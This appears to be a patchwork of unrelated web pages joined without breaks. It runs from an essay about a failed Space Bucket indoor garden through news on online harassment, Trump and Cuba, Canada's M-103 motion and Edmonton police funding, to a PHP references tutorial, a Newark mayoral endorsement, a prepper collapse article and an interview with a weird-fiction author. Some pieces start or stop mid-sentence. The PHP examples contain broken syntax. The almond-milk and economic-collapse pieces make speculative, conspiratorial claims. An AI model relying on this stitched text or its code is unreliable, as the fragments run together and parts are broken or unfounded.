discover Space Buckets. It’s probably what you will, too, when you read the manifesto: Humans of the Earth! Hear the Space Buckets calling. It is time for a DIY indoor gardening revolution. We stand at the vanguard: I. Bucket culture is open. We are a community of learners, a movement of tinkerers. Our goal is to spread information about how to grow plants inside small containers with artificial lighting. Anyone can join us.
II. Bucket knowledge is free. We believe in the free flow of ideas and the unparalleled power of the Internet. We are part of the web, and we contribute to it. Profit is not our motivation, innovation is.
III. All plants are inside our law. We do not judge species based on their political situation. We are a melting pot of photosynthesis enthusiasts.
IV. Bucketeers matter. Every gardener can make an impact in his inner self and social circle. Watching a plant thrive is a perspective-gaining experience. This bucket mindset pushes us forward. I feel very ready to begin, and to matter. I am advised to “start here,” with a simple template for a Space Bucket. It seems easy enough. I need a power strip, grow lights, a 24-hour timer for the lights, a four-way splitter for the bulbs, a couple of PC fans wired to an AC adapter with electrical tape, some Mylar film to make the bucket reflect inside, and some masking tape to make it light-proof outside. Lumen tightness, it says, a delectable phrase that makes me feel like I am already part of this world. I am a node in this elegant, humane, digital net draped lovingly across the planet, flowers bursting from its intersections. I am transcending apartment life. I post on a Reddit thread: How do I re-wire my PC fans to an AC adapter? “If you don’t want to wire too much, get a LED UFO instead,” replies my new friend “bucketfarmer.” “Also use an inline fan + passive intake for your cooling needs and some LED side lighting with a power supply. Three plugs and you’re good to go!” He makes it sound so easy, I tell myself. He makes it sound so very easy.
Following the starter kit’s shopping list, I order the necessary goods one at a time on Amazon. One by one the tiny boxes begin arriving. I rely on the Royal Mail more than ever before, and on the caprices of package delivery in London — my foyer filling up with missed package slips, emergency-red. It is one of those city things I didn’t plan for: walking a mile and a half to the post office, during the appointed daytime hours, to collect lumpy parcels. Time begins to flow through my fingers like dry soil. I start to think that maybe I should have gone to a shop, but that prospect, too, carries a peculiar wrinkle of city life. When your needs are complicated, no one single store can meet them all. It’s better just to order everything online in one go than to take a bus to some outlet, wander the scoured aisles, only to have to take another bus somewhere else. Even worse: having to call over there, asking for x or y, brand names and descriptions juddering awkwardly from your lips and across a spotty 3G-connection. I receive a missed package notice scrawled with pen notes explaining that one of my items has been left with my neighbors. The scary gardening ones downstairs. I would rather buy a roll of masking tape all over again than knock and ask for it from them. And so I do. (They have yet to return my package to me, either. Hoarding my masking tape, the old persimmons.) In the end I get all the supplies, the bulbs and fans and tapes and films, strips and adapters, arrayed across my bedroom floor alongside my carelessly flung party clothes and shoes. The white plastic buckets, which I don’t need to line with Mylar because they are already reflective, arrive in a stack sealed tightly with a trash bag and packing tape. My partner is becoming skeptical that I’ll ever be able to wrangle this disorder into a garden. I, on the other hand, am confident I will soon sell him on the appeal of Space Buckets. I tie my hair in a bandana and put on a sick psychedelic mix. I heat a screwdriver in boiling water and begin to bore drainage holes into the bottom of my bucket. I gleefully snip the connectors off the PC fans. I read instructions and re-read them; I need to cut big holes in the buckets in order to mount the fans. I have to strip the fan wires. I have an IKEA screwdriver and a pair of IKEA kitchen scissors that we use to cut pizza. With a hot bread knife, heated with boiling water, I press my full weight into the bucket on my bedroom floor and saw away. For a while, I feel bootstrapping and very powerful. But when my knife gets stuck in the plastic (its blade is stamped with IKEA, too) and I accidentally snip off a fan wire I meant to strip, I start to remember why I hated shop class as a girl. My voice gets thin and high when I fully mangle one of the buckets, a sad hole bulging out of it in entirely the wrong place. The kitchen scissors break. My housemates are not going to be happy about this. The revolution is delayed. Here’s the problem: I do not own any tools. There are no real tools in our apartment besides a hammer, pliers, and a screwdriver, like in a dimly recalled Mr. Rogers’s Neighborhood song. My parents had tools when I was a child — I could step into the cool dark of their two-car garage and smell barbecue charcoal, mulch, and motor oil, and look at them all. Each in its place on a perforated board with outlines drawn around it, to recall where it hung. Tools just sort of belonged to my idea of home back then, the way the garden did. I don’t have anything I had when I was a kid. I don’t have anything my parents had, I think. I need tools, and to replace the bucket I destroyed, so I head to the home improvement store B&Q in Greenwich to buy more buckets: 20-liter/five-gallon plastic ones with lids. I will know what I’m looking for on sight — it’s not a rare item. I was surrounded by these buckets growing up. Which is why it’s so unusual when the B&Q doesn’t have any. Neither does the other branch on Old Kent Road, nor the Wickes (another DIY retailer in London). No buckets with lids at all. I am dwarfed by aisles of tools, by improvement goods, by buckets full of grout or cement or paint. I can identify maybe every tenth object my eyes fall upon. The tools — the drill bore, the hand saw, the wire cutter — are intimidating, glittery, clad in gunmetal and safety orange. And they are expensive — investments for homeowners, not for the likes of me. This entire place is lined with tile selections, fixture options, different colors of caulk, things that will never be part of my world. I can’t make a Space Bucket. I can’t even paint my bedroom. In the garden center I find a lone, packaged “Strawberry Growing House” sitting by itself. It’s a miniature greenhouse that comes with 12 little biodegradable planters, a bag of compost, a packet of strawberry seeds, and stickers to decorate it. It costs 10 pounds—just over $14. It’s meant for kids. At the end of my experiment, a corner of my room is piled with about 100 pounds’ ($140) worth of Space Bucket abortion. The miniature strawberry greenhouse, though, sits on the windowsill, lined with dewdrops and heat. I added all the little stickers to its frame. There is a sliding plastic bit on the top so I can ventilate it once the shoots come up.
Left, failure; right, success, of sorts. Image credits: Leigh AlexanderShe barely remembers meeting him, but a chance encounter with a stranger led to weeks of terror for a south St. Louis woman.
Now, that man is behind bars and the victim is urging other women to come forward.
Robert Merkle, 48, is charged with two counts of harassment after police say he threatened women with rape online.
One woman told 5 On Your Side she met Merkle at a public discussion meetup group.
"There wasn't anything intimidating, and there wasn't anything gross. He reached out to the organizer of that same discussion group and asked about my attendance," said Angela, a victim who asked we not use her last name.
He then began sending her and her friends messages on the meetup website.
"[He] mentioned that specific group that he had been looking for me there with the intention to rape me and it went into some details of that desire," said Angela.
Angela said several other women have contacted her online to share similar stories.
"Stories popped up," said Angela. "In those messages, it was a dating website, and he specifically said he was interested in dating women who'd been raped. He's asking, 'Have you been raped because that's what I'm looking for?'"
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Merkle is actually charged with two counts of harassment- involving Angela and another woman he met on a dating site.
He's scheduled to appear before a grand jury in January.
Anyone who's been harassed by Merkle is advised to contact the St Louis Metropolitan Police Department.
We found some information for victims of online harassment and threats from the National Center for Victims of Crime.REPORT: Donald Trump’s Company Violated US Embargo Of Cuba
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Donald Trump’s ‘Cuban Connection’ The Subject Of Newsweek Exposé
The Republican presidential nominee conducted business in Cuba during the U.S. Embargo, according to a bombshell Newsweek report to run this Thursday.
Donald Trump, Republican nominee for the presidency, controlled a company that secretly violated the U.S. embargo on Cuba. According to a bombshell Newsweek report to be released Thursday, Trump’s companies “conducted business in communist Cuba during Fidel Castro’s presidency” despite such actions being strictly prohibited by Federal law.
The full excerpt, which first premiered on The Rachel Maddow Show, is reprinted below:
A company controlled by Donald Trump, the Republican nominee for president, secretly conducted business in communist Cuba during Fidel Castro’s presidency despite strict American trade bans that made such undertakings illegal, according to interviews with former Trump executives, internal company records and court filings.
In July, a Bloomberg article by Jesse Drucker and Stephen Wicary raised questions about Trump executives’ involvement in Cuba. The Newsweek report promises to delve into specifics:
Documents show that the Trump company spent a minimum of $68,000 for its 1998 foray into Cuba at a time when the corporate expenditure of even a penny in the Caribbean country was prohibited without government approval. But the company did not spend the money directly. Instead, with Trump’s knowledge, executives funneled the cash for the Cuba trip through an American consulting firm called Seven Arrows Investment and Development Corporation. Once the business consultants traveled to the island and incurred the expenses for the venture, Seven Arrows instructed senior officers with Trump’s company, then called Trump Hotels & Casino Resorts, on how to make the venture appear legal by linking it after-the-fact to a charitable effort.
The U.S. embargo on Cuba was enacted in 1960, and eased recently by Barack Obama. Trump has come out against lifting the embargo.
The payment by Trump Hotels came just before the New York business mogul launched his first bid for the White House by seeking the nomination of the Reform Party. On his first day of the campaign, he traveled to Miami where he spoke to a group of Cuban-Americans, a critical voting bloc in the swing state. Trump vowed to maintain the embargo and never spend his or his companies’ money in Cuba until Fidel Castro was removed from power. He did not disclose that, seven months earlier, Trump Hotels already had spent money sending consultants on the secret trip to conduct business in Havana.
Photo by Spencer Platt/Getty ImagesThe Canadian parliament has passed a landmark anti-Islamophobia and religious discrimination motion that calls on politicians to condemn anti-Islamic behaviour and rhetoric.
The vote follows months of fierce debate in Canada, including protests from both the motion’s supporters and detractors.
Opponents argued the private members’ motion, which calls on the government to “condemn Islamophobia and all forms of systemic racism and religious discrimination”, will limit free speech in the country and single out Islam for special treatment.
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Liberal MPs and Conservatives accused one another of using rising levels of prejudice and hate crimes against Muslims in Canada as a political football.
The motion explicitly called on the government to “quell the increasing public climate of hate and fear”.
It also said there should be put into action a “government-wide approach for reducing or eliminating systemic racism and religious discrimination”.
This would require the government to collect date on hate crimes, conduct official assessments of affected communities and present findings to parliament within eight months.
The non-binding motion, known as M-103 was passed by 201 votes to 91.
Liberal MP Irqa Khalid, who tabled the motion, was cheered loudly by her party as the vote passed.
The majority of Canada’s Conservative MPs voted against the motion.
Speaking after the vote, Ms Khalid told reporters: “I'm really happy that the vote today has shown positive support for this motion and I'm really looking forward to the committee taking on this study.”
Conservative MP David Anderson put forward an amendment to the motion to try and change the wording to include other religions. He argued the motion should be to “condemn all forms of systemic racism, religious intolerance and discrimination of Muslims, Jews, Christians, Sikhs, Hindus and other religious communities”.
But the amendment was rejected by Liberals. Ms Khalid said: “Really, changing the wording of the motion would have watered it down and I think the committee can really look into this if it is an issue.”
Mr Anderson later said: “I think that many of us have wanted to have a mature discussion about this for a long time, and I think actually Ms Khalid and I would be on the exact same wavelength on that issue.”
The motion caused some confusion in Canada, with many believing it to be a “bill”, or a “law”.
Shape Created with Sketch. Why we should all go to Canada Show all 8 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Why we should all go to Canada 1/8 The great outdoors You might spot a moose, for goodness' sake Mark Rowland/Flickr 2/8 Road trips You can drive through some of the most incredible scenery MaxGag/Flickr 3/8 Maple syrup It's available in almost any form, including maple taffy - heated syrup that's been dropped on to ice to cool and turned into a kind of chewy lollypop Márcio Cabral de Moura/Flickr 4/8 Friendly Cities The likes of Montreal, Vancouver and Toronto are not only cool, but welcoming too Getty Images 5/8 Arctic cruises You can float between icebergs - enough said Shutterstock 6/8 Skiing and snowboarding Resorts such as Whistler are world class Getty Images 7/8 Real winter Canada really embraces the cold, with everything from igloo raves to husky rides EveryDamnNameIsInUse/Flickr 8/8 Wine They make a pretty good tipple here Nomade Moderne/Flickr 1/8 The great outdoors You might spot a moose, for goodness' sake Mark Rowland/Flickr 2/8 Road trips You can drive through some of the most incredible scenery MaxGag/Flickr 3/8 Maple syrup It's available in almost any form, including maple taffy - heated syrup that's been dropped on to ice to cool and turned into a kind of chewy lollypop Márcio Cabral de Moura/Flickr 4/8 Friendly Cities The likes of Montreal, Vancouver and Toronto are not only cool, but welcoming too Getty Images 5/8 Arctic cruises You can float between icebergs - enough said Shutterstock 6/8 Skiing and snowboarding Resorts such as Whistler are world class Getty Images 7/8 Real winter Canada really embraces the cold, with everything from igloo raves to husky rides EveryDamnNameIsInUse/Flickr 8/8 Wine They make a pretty good tipple here Nomade Moderne/Flickr
On this issue the Canadian parliament’s guide to private members’ motions reads: “The first difference to keep in mind is in their effect. Since in agreeing to a motion expressing a resolution, the House is only stating an opinion, the government will not be bound to adopt a specific policy or course of action.
“By contrast, because it becomes law when passed by Parliament, a bill may have far reaching implications for both the government and the public.”
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
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Does it? And does anyone see something a bit fishy lying under this whole debacle?
For some perspective, The American dairy industry is in free-fall with the popularity of cows milk falling as rapidly as our former obsession with orange juice and the popularity of non-dairy and vegan alternatives growing in urban, hip areas.
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So why did these articles get published on progressive sites like Mother Jones, then Alternet, then Huffington Post, etc. and is it pure coincidence that they didn't originate in, say, Glenn Beck's 'Blaze' or The Daily Caller or even Fox?
To begin, who actually drinks almond milk or other non-dairy plant-based milks? If you said vegans, vegetarians, whole-foods shoppers, the young, hip, and progressive, you may be on to something.
Also keep in mind that political ideology is largely correlated with where you eat, where you shop for groceries, and go out to eat.
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In fact, it was Rush Limbaugh himself who said that eating organic food "makes you a jerk" and even Jonah Golberg's famous "Liberal Fascism" book notes links between vegetarianism, Hitler, Socialism, etc. All those 'west coast granola-eating hippy liberal' jokes may actually have some grain of truth to them.
Some are old enough to remember a time when big Tobacco used to pump millions into studies, articles, advertisements, and the like in an effort to sustain their industry in the eyes, and pockets, of Americans. Luckily for the cigarette manufacturers, their product actually came with a physically addictive ingredient already present in the product itself. Now Big Tobacco is attempting a takeover of the E-cigarette market as a last-ditch effort to corner the market on 'alternative' nicotine products.
So how do these puzzle pieces all this tie in together and what is the source? Where did this recent rash of anti-plant milk originate?
It was only one month ago that the first anti-almond milk article appeared in U.S. News and World report which sparked the 'debate' online. The article received thousands of shares and swept across the internet at alarming speed.
So would it strike you as interesting if I told you that this'source' article was written by Dietician Tamara Duker Freuman and that some deeper research into Ms. Freuman shows that she just so happens to be a paid 'Media spokesman' and consultant [PDF] with the Dairy industry? Or perhaps, when all the highly-subsidized overabundance of milk in U.S. public schools was being criticized, it was the same Ms. Freuman who not only came to Dairy's defense but actually advocated sugar-laden chocolate milk as a 'good thing' in schools?
Mrs. Duke remains on the payroll of Redwood hill |
to fund 23 new front-line officers, seven more investigators and more behind-the-scenes support. However, Knecht will receive only $3 million, council decided. Council did approve a clear formula for similar future increases to police, which increases Knecht’s ability to plan.
Edmonton’s three-year operating budget will still fund 27 new positions over three years to staff the new northwest division station. The police base budget from the city also grows by $7 million to $288 million in 2016, to cover previously negotiated wage increases and extra officers added in the middle of last year. Council also voted to consider additional office space downtown in future budget adjustments.
Even though Mayor Don Iveson has promised to go arm-in-arm to the province with police to ask for a top-up, Knecht said cuts are inevitable. No one has “a big hockey sack of money.”
Increased police funding for Edmonton and Calgary is a priority in the ongoing city charter discussions with the province. Big cities get 6.5 cents from the province for every dollar they spend, while municipalities Red Deer’s size and smaller get at least 10 cents on the dollar.
“That’s just incredibly unfair,” said Iveson.
Criminals move. Crime concentrates in big cities. Edmonton essentially polices the inner city of northern Alberta, not just Edmonton, he said. If Alberta funded Edmonton at the same rate as smaller cities, the city would get an increase of between $18 million and $24 million annually.
Police are struggling with 12,000 more calls for service this year over last. But Iveson said Knecht will prioritize and still get to high-priority calls quickly.
estolte@edmontonjournal.com
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Follow the city’s budget debates at edmontonjournal.com/tag/city-budget.Remember the first time you dabbled in C? Oh, the glorious typing, functions, and structs! Now do you remember the first time you ran in to a pointer? ‘*’, ‘&’, ‘->’ all made your hurt, but eventually you figured it out. It’s fortunate (depending how you look at it) that we don’t have need to dabble with pointers or references while web programming these days. However, PHP does allow us to passing things around by reference. It’s not used often, but when used correctly can be very beneficial to the quality of your code.
What are PHP references?
The first thing you need to know about PHP references is that they are not C references. You can’t do pointer arithmetic on them because they aren’t actually addresses. In PHP references are actually symbol table aliases. This means that you can have 2 variable names sharing the same variable content.
What can you do with references?
There are 3 things that you can do with PHP references.
Assign by reference.
Pass by reference.
Return by reference.
$x =& $y ; $x = 3 ; echo "X: $x, Y: $y " ; $x =& $y; $x = 3; echo "X: $x, Y: $y";
The above code sets $x and $y’s references to the same content area. Therefore, when $x is assigned 3, $y has access to the same data.
function add_item ( & $item ) { $item ++; } $totalItems = 0 ; for ( $i = 0 ; $i <; 5 ; $i ++ ) { add_item ( $totalItems ) ; } echo "Total items: $totalItems " ; function add_item(&$item) { $item++; } $totalItems = 0; for($i = 0; $i <; 5; $i++) { add_item($totalItems); } echo "Total items: $totalItems";
This code allows you to modify a variable’s value without ever returning anything. In this example I made a simple counter, but you can set the value of $item to anything and it should work out just fine.
class Test { public $count = 0 ; public function & getCount ( ) { return $this -> count ; } } $t = new Test ( ) ; $value = & $t -> getCount ( ) ; $t -> count = 25 ; echo $value ; class Test { public $count = 0; public function &getCount() { return $this->count; } } $t = new Test(); $value = &$t->getCount(); $t->count = 25; echo $value;
This code returns a reference to the public $count variable of the Test class. Generally this isn’t best practice, as it lowers the readability of the code.
Unsetting References
In the event that you want to free a variable from it’s reference to another, you can simply use the unset function.
$x =& $y ; unset ( $x ) ; $x =& $y; unset($x);Ras Baraka, son of the late poet Amiri Baraka, is known as a radical, preaching on the street corner about revolution. But in truth, he represents the status quo in Newark, which for decades has been unable to shake itself loose from a failing school system and epidemic of violent crime.
Shavar Jeffries is the real reformer in this race, which voters will decide on Tuesday. As mayor, he’d have the best chance of prevailing over Newark’s highly contentious politics to actually get things done.
For two men rooted in the same district of the same city, they are starkly different candidates. Jeffries has less name recognition, but a remarkable personal story. Born to a teenage mother who was murdered when he was 10 years old and a father who abandoned him, he was raised by his grandmother in the city’s South Ward, and won scholarships to Duke University and Columbia Law School.
His later work as a civil rights attorney representing the poor and an assistant attorney general fighting crime has made him intimately familiar with the problems of Newark. It’s also given him the lawyerly skill to push for reform without being divisive.
Not so of Baraka, a high school principal and city councilman for the South Ward.
Raised by a well-known activist, he got his start as a protester at Howard University. He energizes his base with an old-school black nationalism that seems inspired by his father, but outdated. And while his rhetoric is radical, Baraka’s leadership isn’t. He’s plugged into the old politics of Newark, endorsed by former Mayor Sharpe James, who spent 18 months in federal prison.
In a city on the cusp of reform but marked by rivalries — between ethnicities, political factions, the central business district and troubled neighborhoods — Jeffries is the best person to straddle the fault lines. This includes the biggest rift of the day, over the future of Newark’s public schools.
Jeffries, who chaired the school advisory board, supports good schools for kids regardless of whether they’re charters or district-run. He is critical of Newark Superintendent Cami Anderson when she deserves it, but hasn’t let his concern for her approach overwhelm his desire to see the most sensible reforms in her plan implemented. This includes letting proven educators at TEAM, the high-performing charter that Jeffries co-founded, take over grades in failing schools.
Baraka deserves credit for ending the culture of chaos at Central High School, where he served as principal. But he has a history of putting politics before what’s best for kids. He bows to the special interests of the teachers’ union and has called to block all reform in the district, which is irrational in a city where only 1 in 3 high school seniors can pass the standard graduation tests. He knows he benefits politically by fanning resentment against Anderson, but has no credible reform plan of his own.
The differences are equally striking on crime. Murders are up in the city and both candidates want to hire more cops, but neither has a financially viable plan to do so. What distinguishes them is their approach. Jeffries has experience in law enforcement against gangs and keeping ex-offenders out of jail. Baraka once wrote a letter on behalf of a convicted gang lord and tried to negotiate a truce between rival gangs. It didn’t work. Violent crime is up in his ward.
It’s also worth noting, as the state threatens to take over Newark’s finances due to mismanagement, that the council Baraka serves on contributed to this mess. When former Mayor Cory Booker shrunk the city’s workforce by 1,000, the council continued to pay itself the highest salaries in the state.
Unlike other council members, Baraka kept his full staff — which included his brother — his city car and free gas. He has collected a combined salary of $210,000 a year, and now says he’d consider a cut. But he could have done this already. Why should we believe he’ll put the city on the right path now?
Elect the real reformer for mayor: Shavar Jeffries.A Total Collapse Of The Economy Would Throw The Nation Into Utter Chaos – When You Realize That Everything You Have Learned To Depend On Is Gone
Other than the obvious consequences, what might we expect from a partial economic collapse? A total collapse of the economy would throw the nation into utter chaos. But what if we endure an economic depression, or a severe and long-lasting downturn? I think that some of the effects are not so obvious.
1. The college and university system will collapse
As I explained in this previous post, the system of higher education is a house of cards. The cost of getting a college degree has risen sharply and steadily, while real income has remained relatively flat. The price rise is due to the easy availability of grants and loans for education. But with so many persons getting a college degree, its value in the marketplace has plummeted. Many college grads are out of work, or they are working in a job that does not require a degree. Eventually, this practice of paying more and more, for something that is worth less and less, will collapse the system. Colleges and universities will not have enough paying students, and professors will not agree to a drastic pay cut. Overhead expenses are far too high.
All that is needed is an economic collapse, or partial collapse, to topple this house of cards. Many universities and colleges will be forced by economics to shut down.
Also read: 10 Best Life Lessons We Can Learn From Our Grandparents About Self-Reliance
2. Agricultural yields will plummet
The current U.S. agricultural system is based on the expectation of high yields. But high yields are obtained by high inputs — all the things that go into growing the crop, including lots of fertilizer, perhaps irrigation, herbicides, pesticides, labor, machinery. Then those high yields are sold and the money is then used to fund the inputs for the next crop cycle.
An economic collapse will mean that farmers will not be able to afford all the inputs needed for high yields. And when yields fall, the amount of money from that crop will be less. Then the next crop cycle will have even less money for inputs, resulting in even lower yields. And the process will continue — lower yields, less money, lower inputs — until many farmers are out of business and a food crisis results.
3. Violent crime will increase
When people lack money and food, they become desperate. And desperate people do desperate things. Theft and robbery will skyrocket, and people will be afraid in their homes, and afraid to go out in the community. Even a quick trip to the market will become risky. Sales of most goods will plummet, causing the economic crisis to worsen. Protests will turn violent. Home invasion robberies will become much more common. Many people will be killed or injured as a result of this increase in violent crimes.
4. Law enforcement will be overwhelmed
The law enforcement system in the U.S. is commercial. Officers are paid. We don’t keep a large excess of officers on the payroll, just in case crime sharply increases. So it is relatively easy for the system to be overwhelmed. And that means a call to 911 might not bring the police to your door in time, if at all. Those who have firearms for home defense will be much better off than those who rely solely on the police. But many households have no firearms. And that means that robberies will increase, and so will the economic damage and the number of injuries and deaths.
5. The healthcare system will be overwhelmed
The healthcare system is also commercial, and lacks a safety margin in the form of excess doctors and nurses. Hospitals operate at close to capacity. A sudden increase in persons who are sick or injured will overwhelm the system.
The aforementioned increase in violent crime will undoubtedly increase injuries. But it is less obvious that a disruption to the food production and distribution system will increase illnesses. Plenty of good healthy food is the first line of defense against illness. Malnourished persons are much more likely to get sick. So an extended disruption to the food supply will cause an increase in illnesses.
Also read: Long-Forgotten Secret That Helped Our Ancestors: How To Prepare And Preserve Your Meat For Long Periods Of Time
6. Travel anywhere will become dangerous
As a result of all the above described problems, travel will be dangerous. Want to make a quick trip to the supermarket? You risk having your house robbed, if it is left unoccupied. And you risk being attacked on your way back from the market. Robbers might wait outside the market and follow anyone who looks like they purchased a lot of food.
There will be protests in many places, and violence will often break out. People who are hungry and afraid do not make the best decisions. Then there is the cultural aspect of the situation. We live in a culture that tells us to expect the government to take care of us, and to protest whenever anything doesn’t go our way. Ironically, self-sufficiency is abhorrent to our narcissistic culture.
I expect that the roadways will be dangerous, as violent criminals will see travelers as easier targets than homes.
7. The death rate will jump higher
People will be malnourished because of the disruption in the food supply, so they will get sick more easily. Violent crimes and violent protests will result in many more injuries than usual. And yet healthcare will be much more difficult to access. There will be a shortage of hospital beds. It will be difficult to get a doctor’s appointment. There may be a shortage of prescription and OTC medications.
All of these factors will make life a riskier endeavor.
Now if you are a seasoned prepper, who has long considered the dangers inherent in an economic collapse, you may have anticipated some of the above consequences. But I hope I’ve added to your understanding of the possible problems that we may soon face.
Also read: When “SHTF” Stops Becoming Fantasy And Becomes Reality, You And Your Family Will Depend On The Government To Simply Survive?Simon Strantzas is the author of four short story collections, including the upcoming Burnt Black Suns from Hippocampus Press. His fiction has appeared in The Mammoth Book of Best New Horror, and The Year’s Best Dark Fantasy & Horror, and has been nominated for the British Fantasy Award. He resides in Toronto, Canada.
C. Derick Varn: What do you make of what appears to be Weird Fiction revival in the last three to four years? Do you agree that it is a revival?
Simon Strantzas: Revivals. Waves. Ages. These things are, as they say, notoriously difficult to call while they are happening, and probably only discernable in hindsight. I think it’s true to say that in the last few years a style of fiction more grounded in the classically weird seems to have a louder voice than in the past, but I’m not certain it’s anything beyond a coincidence, or perhaps a small group of talented writers inspiring one another.
These revivals, when plotted over time, are a sinusoid, and it’s likely just the classically weird’s time at the crest. What’s unfortunate is that even the best of this new breed aren’t able to make a full-time living as a writer. But that’s nothing new. Not since the boom of the 80’s and 90’s have horror writers been able to live off their work. But, I suppose, many of those writers were established in other fields as well, and took to horror because it was paying well. That might explain why the majority left for sunnier climes when the bubble burst. One of the nice things one can say about the current crop is that they write horror and weird fiction out of a deep love for the genre.
If we presume, though, there is indeed a revival happening, something unique from those writers working before, then I must admit we live in some exciting times, because there are certainly a large number of writers whose memory not only seems to extend beyond the last thirty years, but also has learn lessons from other genres, and other cultures. What I find most exciting is that it seems these writers are *different* from one another as well, each offering the reader a unique experience.
There are many nuanced reasons why this sudden confluence of weird writers may have taken place, but to my mind the primary one is the rise of technology. Before the internet, weird fiction may not have been viable because it’s not terribly commercial. If horror thrives in the shadows, then the classically weird occupies their darkest umbra; in many ways, it’s an acquired taste. Before the internet, finding sympathetic readers could prove difficult, so a critical mass was difficult to reach. With the appearance of message boards and social media, those readers could discuss and recommend books and authors, and what once seemed like a solitary fascination became something communal. I recall my own early days discovering the breadth of ghost fiction due to these forums, and I gained an education I likely never would have a few years earlier. These boards were also where I discovered the small press movement, where technology too has played a key role. Books no longer had to sell in high numbers to become profitable, and thus less commercial books found a home, especially books reprinting past masters for those small circles of readers. Sudden authors were available again to a new generation of readers, a generation who, like me, had grown bored of what was on the major retailer shelves. I was able to read Aickman this way, and Smith, and Chambers, and Benson, Burrage, and Marsh. Metcalfe and de la Mare. I like to believe other gestating writers were inspired similarly, and grew in a way those that proceed them by only a few years couldn’t have. I don’t think it’s a coincidence many writers of this suggested revival are only a few years in age from one another.
Do you see the rise of internet publishing and the decline of “traditional” print media returning us to something like the pre-war pulp years?
I don’t imagine there’s anything that will return us to the pre-war pulp years. That was a golden age, where books could be mass produced, leisure time was increasing, and yet there was little else to distract people from reading. Now that computer technology is upon us, we have far too many things to occupy our time, and frankly it’s much easier to stare at a small screen on a train ride and while away time than it is to read a book. And there’s also a quiet pressure on people to read less for fear they will appear to be snobbish and not-of-the-people.
But internet publishing has brought us a lot, as I’ve mentioned, and that ease of access is definitely an advantage. Though I wouldn’t go so far as to say we can return to the pre-war years, what we have can be better in some ways. Reproducing work in ebooks means there will be fewer barriers to prevent people from reading what they like. Text will become most important, and it may no longer matter how old a book is or how small the publisher was — you will have acesss to it from anywhere in the world. The only barriers are of language and literacy. This is of course an ideal, and who know how long it will take to get there, but I don’t doubt we will. One day, all the world’s texts will be digitized and accessible.
But how this will affect us as readers is still a great unknown. The irony is that the better technology gets, the further it leaves readers behind. What I do think is that, as time continues, the traditional New York publishers will focus more and more on vaccuous books, those common-denominator books, and the more experimental, bizzare, and literate books will be taken on by smaller and smaller presses. The ebook phenomenon is a great equalizer — those small press ebooks don’t look or cost that much different from those published by the bigger companies, and they can scale just as well, so it seems likely the smaller outfits will simply take over that role from the traditional publishers. That return to a heterogeneous publishing landscape would hopefully bring with it a more diverse set of literary possibilities.
What are the trends that you see that make you particularly hopeful about the current literary scene?
The only trends I see are writers who are trying to recontextualize what’s come before, and better integrate the lessons learned from outside the genre within it. John Langan, for instance, works in a form of postmodernism, twisting the knowledge of the genre his readers already have back on the genre itself. Laird Barron strives to make his collections not simply a group of stories, but a whole that is greater than its sum. Stories echo one another, places and people repeat, and though its been chalked up to mythos building I think of it as something more — as treating the collection like a concept album. And these are only two examples. I could list many more. The point is that we are seeing new experimentation in the weird horror genre, which in many ways is exactly what the term “weird” is about — these writers are not content in repetiton and regurgitation; they want to bring to the table something only they can bring. I think we’re going to see this attitude inspire the generations of writers coming up, just as soon as they figure out how to internalize what their heroes are doing and make it their own.
I’m also pleased to see a greater presence of weird horror from outside the western world. We’re seeing it appear from India, from Sweden, and Japan… places that have their own traditions to build upon, that in turn bring new directions to the table. As globalization increases, and the ubiquitousness of the internet brings more and more disparate cultures together, we’ll continue to seeing invigoration in the genre, which can only lead to great things in the future.
Do you see this as undoing some of “Weird Fictions” W.A.S.P and sometimes even xenophobic tendencies in the early 20th century?
No, not at all. I don’t think the western slant to Weird fiction will ever disappear. The genre’s foundations come from it. All we can hope is that these other multi-cultural influences will expose different facets of the weird and expose new paths for those who write it. The worst thing that could happen is the genre feeding on itself, making copies of copies.
It’s true there is some unfortunate xenophobia is the genre’s history, but that’s hardly unique to this kind of writing, and I think it’s more important to do better going forward than try to apologies for what was done in the past.
Do you see similar movement in related genres?
My authority wavers the further from horror and weird we travel, but it seems to me that many of the basic tenets of weird fiction, as we generally recognize them, are founded in the history of the Western world, which lends a colonial attitude to the stories. Because of this, it’s the sort of genre that is least open to the sort of fundamental changes the introduction of World fiction can provide. I think by their nature other genres like Science Fiction are more open to this sort of plasticity, both in manner of style and story content, so we see many of the speculative genres capable of steps that horror/weird has in the past been unwilling or unable to take… Or at least do so without transforming into something no longer traditionally recognizable.But I certain hope it’s the case that all the genres are experiencing a similar movement, and though as I have admitted I’m not fluent enough in the other genres to speak with certainty, it seems abundantly true that we have already seen the influence of non-Western cultures in other mediums such as film and music; it seems naive to believe the same isn’t happening in our fiction as well. As global culture becomes more and more homogenous, the shared experience and tools that fiction uses will likely become more and more ubiquitous.
How do you see the internet specifically helping your work?
The internet has helped in immeasurable ways. The first, of course, is the ease it brings to research. Certainly, encyclopaedias existed in the past, but with the internet that sort of information can be augmented with actual conversations with people from different countries, or with different skills and knowledge. Any information one might want can be found and verified by a literal world of experts. A number of my tales would not have been written without these sources.
There is also the added access to readers through email and social media. The latter, especially, has allowed authors to make great in-roads in self-promotion, and provided an unheralded communication conduit with readers across the globe. The Weird genre is so specific an interest that were it not for the internet, most of its fans would likely live in ignorance of one another. Without it, there wouldn’t be the community of weird fiction aficionados there is now. It’s by their interaction and continued recommendations that make fiction sells.
It’s true some aspects of the author/reader relationship have been lost by this interactive age, but the benefits seem to balance them out. I certainly wouldn’t have developed the same relationship with other authors without it, and it’s those relationships that often provide the support needed when the road gets rocky.
Would you like to talk about any work of yours that is coming out in the near future?
In early 2014, my fourth collection of fiction, BURNT BLACK SUNS, will be released by Hippocampus Press. I was eager to work with Hippocampus after reviewing their line-up of contemporary authors and realizing it was a veritable Who’s Who of the most gifted weird writers working today. To be in the company of folks such as Langan, Pulver, Pugmire, Cardin, and Gavin is quite an honor. This new collection started life as a sort-of sequel to my first, BENEATH THE SURFACE, in the sense that the tales all explore a similar mode of horror fiction—in this case, the traditionally weird—but over time the book has transformed into something unexpected. The book is the longest I’ve written to date; the reason for this being the inclusion of two significant novellas of cosmic terror. I enjoy this length for the opportunities it provides in offering a more complete character studies. That said, the book does have some shorter pieces as well. All in all I think this is the strongest collection of stories I’ve written, and hope readers find a lot to enjoy with its pages.
